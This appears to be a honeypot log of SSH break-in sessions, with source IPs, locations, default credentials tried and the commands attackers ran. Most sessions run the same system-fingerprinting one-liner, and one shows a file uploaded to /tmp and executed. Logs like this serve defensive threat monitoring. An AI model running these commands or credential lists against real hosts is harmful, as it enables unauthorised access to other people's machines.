$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 gouda_root (209.38.110.17) β€” Amsterdam, Netherlands Β· 3 sessions Β· 12 cmds
2026-03-01 08:27 EST Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 clog_root_6 (146.190.237.1) β€” Amsterdam, Netherlands Β· 9 sessions Β· 36 cmds
2026-03-01 07:23 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 reef_root_10 (170.64.219.231) β€” Sydney, Australia Β· 5 sessions Β· 20 cmds
2026-03-01 07:22 EST Β· as admin/password, root/12345678, root/qwerty
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 lotus_root_19 (139.59.34.190) β€” Bengaluru, India Β· 6 sessions Β· 24 cmds
2026-03-01 06:30 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 monsoon_root_17 (168.144.26.0) β€” Bengaluru, India Β· 6 sessions Β· 24 cmds
2026-03-01 06:31 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 scone_root_19 (134.209.24.124) β€” Slough, United Kingdom Β· 4 sessions Β· 16 cmds
2026-03-01 06:20 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 cowboy_root_19 (167.71.188.167) β€” Clifton, United States Β· 2 sessions Β· 8 cmds
2026-03-01 05:20 EST Β· as root/12345678, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 autobahn_root_19 (46.101.246.233) β€” Frankfurt am Main, Germany Β· 5 sessions Β· 20 cmds
2026-03-01 04:56 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 autobahn_sol (185.207.113.182) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-01 04:01 EST Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 monsoon_root_18 (142.93.214.146) β€” Bengaluru, India Β· 1 session Β· 4 cmds
2026-03-01 02:55 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 tulip_root_6 (167.71.9.229) β€” Amsterdam, Netherlands Β· 15 sessions Β· 60 cmds
2026-03-01 01:30 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 15x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—15
$ uname -s -v -n -m 2 > /dev/null Γ—15
$ uname -m 2 > /dev/null Γ—15
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—15
🎭 yankee_root_23 (206.189.202.170) β€” North Bergen, United States Β· 2 sessions Β· 8 cmds
2026-03-01 02:41 EST Β· as root/12345678, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 tiger_root_13 (68.183.92.174) β€” Bengaluru, India Β· 1 session Β· 4 cmds
2026-03-01 02:19 EST Β· as pi/raspberry
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 roo_root_6 (134.199.159.216) β€” Sydney, Australia Β· 3 sessions Β· 12 cmds
2026-03-01 02:14 EST Β· as admin/password, root/12345678, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 yankee_root (87.121.84.72) β€” Chicago, United States Β· 22 sessions Β· 88 cmds
2026-02-28 05:44 EST Β· as admin/123456, admin/admin, mysql/mysql
echo β†’ core count check β†’ grep β†’ OS/kernel identification (repeated echo 25x)
$ echo "[out $(nproc) $(grep "model name" /proc/cpuinfo | uniq | cut -d":" -f2 | xargs) || $(uname -a)]" Γ—22
$ nproc Γ—22
↳ core count check
$ grep model name /proc/cpuinfo | uniq | cut -d: -f2 | xargs Γ—22
$ uname -a Γ—22
↳ OS/kernel identification
🎭 strudel_root_3 (209.38.192.24) β€” Frankfurt am Main, Germany Β· 19 sessions Β· 76 cmds
2026-03-01 00:25 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 19x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—19
$ uname -s -v -n -m 2 > /dev/null Γ—19
$ uname -m 2 > /dev/null Γ—19
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—19
🎭 cipher_pi_3 (125.227.156.55) β€” Taipei, Taiwan Β· 2 sessions Β· 3 cmds
2026-03-01 00:24 EST Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x 6KfbTAQ9 && bash -c ./6KfbTAQ9
↳ make executable
$ ./6KfbTAQ9
↳ execute payload
$ scp -t /tmp/6KfbTAQ9
↳ execute from /tmp
🎭 tiger_root_14 (64.227.140.175) β€” Bengaluru, India Β· 9 sessions Β· 36 cmds
2026-02-28 23:11 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 spice_root_20 (143.110.247.200) β€” Bengaluru, India Β· 5 sessions Β· 20 cmds
2026-02-28 23:04 EST Β· as admin/admin, root/admin, root/admin123
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 chai_root_15 (143.244.143.247) β€” Bengaluru, India Β· 2 sessions Β· 8 cmds
2026-02-28 23:11 EST Β· as root/1234, root/admin
export β†’ uname β†’ cat
